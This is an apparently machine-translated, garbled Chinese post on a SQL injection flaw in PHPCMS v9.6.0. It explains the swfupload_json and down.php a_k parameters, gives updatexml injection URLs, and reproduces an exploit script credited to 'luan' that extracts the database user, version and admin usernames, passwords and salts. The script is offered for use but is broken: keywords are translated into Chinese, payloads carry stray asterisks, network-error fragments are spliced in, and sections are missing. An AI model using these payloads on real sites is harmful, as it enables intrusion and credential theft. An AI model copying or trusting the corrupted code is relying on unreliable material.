phpcms_v9.6.0_sql注入与exp

今天还是昨天 突然整个圈子都在问一个phpcms v9漏洞 我们这里有好几个未公开的 后来经过证实,你们是要这个注入的漏洞 这个漏洞的文档已经在小范围流传了  phpcms_v9.6.0_sql注入分…

Failure when receiving data from the peer /*不要在这里制作截图。请返回第一步的屏幕截图。在241行代码src中传递arr数组后,通过json_encode函数将十六行加密为json格式后传递json_str数组,然后在244行代码中传入json。加密为cookie。在这里我大胆假设src存在注入然后我们必须传入参数: src=%* 27 updatexml(1,concat(1,(user())),1)%23;然后我们传入的参数将由json加密并最终变为: {src:%* 27 updatexml(1,concat(1,(user())),1)%23};然后cookie在这里加密,不需要计算cookie加密值。同学自己的回声,假设它在这里,它的最终动作被分配给swfupload_json函数。有关此src变量的故事和结尾,请参阅下一章。 * / down.php的代码已经完成。

  /*在localhost/phpcms/modules/content/down.php的第14行中,代码由a_k变量控制。因此,我们将刚刚在src中加密的SQL传递给a_k,然后将其解密回json,17将json字符串解析为变量 - > parse_str由&该字符串被解析为3个变量,最后一个SQL是:{“aid': 1,'src':'& id=%27 updatexml(1,concat(1,(user)),1)#& m=1& f=haha& modelid=2& catid=7&“,”filename“:”“};在这里你可以看到之前的%* 27 *已经消失了,因为它被一只他妈的狗吃掉而不是安全功能*。最后,我们查看第26行代码,将id传递给SQL字段id。所以这没关系,我们试着恢复。 * /  phpcms_v9.6.0_sql注入分析 访问/index.php?m=wap&c=index&a=init&siteid=1获取传递给该死的src块的cookie值,否则您将无法识别。

2.复制此cookie的值并将其传递给POST中的userid_flash变量。 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and% 20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26米%3D1%26F%3 Dhaha%26modelid%3D2%26catid%3D7%26 不要问我URL代码里面是什么。我会告诉你它是SQL Payload。

3.在上一步中,我们已经通过cookie获取了json加密的SQL,因为它返回的cookie是加密的SQLPayload。现在我们将它传递给a_k变量以查看发生了什么。 该文档在线快速传输。 我不知道作者是谁。 每个人都将自己的版权改为自己的版权 我也喝醉了。 知道的人可以留言〜给某人版权 这是EXP: 导入请求,sys,urllib Url=sys.argv [1] 打印'Phpcms v9.6.0 SQLi漏洞利用代码栾' Sqli_prefix='%* 27an * d%20' Sqli_info='e * xp(〜(se * lect%* 2af * rom(se * lect co * ncat(0x6c75616e24,us * er(),0x3a,ver * sion(),0x6c75616e24))x))' Sqli_password1='e * xp(〜(se * lect%* 2afro * m(sel * ect co * ncat(0x6c75616e24,用户名,0x3a,密码,0x3a,加密,0x6c75616e24)fr * om' 从对等方接收数据时失败 如果c.name [-9:]=='_att_json': Sqli_payload=c.value 打印'[+]获取SQLi有效载荷:'+ sqli_payload Setp3=url +'/index.php?m=content& c=down& a_k='+ sqli_payload Html=requests.get(setp3,cookies=cookies).content 打印'[+]获取SQLi输出:'+ html.split('luan $')[1] Table_prefix=html [html 1=''_ download_data')'language='。find('_ download_data') - 2: html.find('] [/html] 打印'[+]获取表前缀:'+ table_prefix Setp2=url +'/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id='+ sqli_prefix + urllib.quote_plus(sqli_password1,safe='qwertyuiopasdfghjklzxcvbnm *')+ table_prefix + urllib.quote_plus(sqli_password2,safe='qwertyuiopasdfghjklzxcvbnm *')+ sqli_padding 对于request.get中的c(setp2,cookies=cookies).cookies: 如果c.name [-9:]=='_att_json': Sqli_payload=c.value 打印'[+]获取SQLi有效载荷:'+ sqli_payload Setp3=url +'/index.php?m=content& c=down& a_k='+ sqli_payload Html=requests.get(setp3,cookies=cookies).content 打印'[+]获取SQLi输出:'+ html.split('luan $')[1]   其他人也分享了Exp 似乎作者应该是luan 测试地址: 从对等方接收数据时失败